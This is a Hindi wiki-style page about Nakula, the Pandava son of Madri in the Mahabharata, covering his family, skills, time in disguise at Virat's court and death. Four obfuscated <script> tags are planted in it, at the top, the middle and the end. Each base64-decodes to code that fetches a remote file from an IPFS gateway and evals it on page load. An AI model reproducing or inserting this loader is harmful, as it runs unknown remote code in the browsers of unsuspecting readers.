नकुल
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नकुल
| |
[[चित्र:|140px|center]]
| |
वंश-गोत्र | चंद्रवंश |
कुल | यदुकुल |
पिता | पाण्डु |
माता | माद्री, कुन्ती(विमाता) |
जन्म विवरण | अश्विनि कुमार के वरदान से प्राप्त पुत्र नकुल |
समय-काल | महाभारत काल |
परिजन | भाई युधिष्ठिर, भीम, अर्जुन, सहदेव, कर्ण |
विवाह | द्रौपदी, करेणुमती |
संतान | द्रौपदी से शतानीक और करेणुमती से निरमित्र नामक पुत्रों की प्राप्ति हुई। |
महाजनपद | कुरु |
शासन-राज्य | हस्तिनापुर, इन्द्रप्रस्थ |
संबंधित लेख | महाभारत |
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__
- महाभारत के प्रमुख पात्र
- कृष्ण|कृष्ण
- अर्जुन|अर्जुन
- धृतराष्ट्र|धृतराष्ट्र
- द्रोणाचार्य|द्रोणाचार्य
- कुन्ती|कुन्ती
- दुर्योधन|दुर्योधन
- कर्ण|कर्ण
- अभिमन्यु|अभिमन्यु
- भीम|भीम
- द्रौपदी|द्रौपदी
- युधिष्ठिर|युधिष्ठिर
- वेदव्यास|वेदव्यास
- अश्वत्थामा|अश्वत्थामा
- गांधारी|गांधारी
- जरासंध|जरासंध
- भीष्म|भीष्म
- शकुनि|शकुनि
- संजय|संजय
</sidebar>
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नकुल / Nakula
- महाभारत के मुख्य पात्र हैं।
- नकुल कुन्ती के नही अपितु माद्री के पुत्र थे।
- नकुल कुशल अश्वारोही था और घोड़ों के संबन्ध में विशेष ज्ञान रखता था।
- युधिष्ठिर के चतुर्थ भ्राता, अश्विनीकुमारों के औरस और पाण्डु के क्षेत्रज पुत्र।
- इनकी माता का नाम माद्री था।
- इनके सहोदर का नाम सहदेव था।
- नकुल सुन्दर, धर्मशास्त्र, नीति तथा पशु-चिकित्सा में दक्ष थे।
- अज्ञातवास में ये विराट के यहाँ 'ग्रंथिक' नाम से गाय चराने और घोड़ों की देखभाल का कार्य करते रहे थे।
- इनकी स्त्री करेणुमती, चेदिराज की कन्या थीं।
- निरमित्र और शतानीक नामक इनके दो पुत्र थे।
मृत्यु
नकुल को अभिमान था कि एकमात्र मैं ही सबसे अधिक रूपवान हूँ। इसलिए वे मार्ग में स्वर्ग जाते समय धराशायी हो गए।
टीका टिप्पणी
अन्य लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>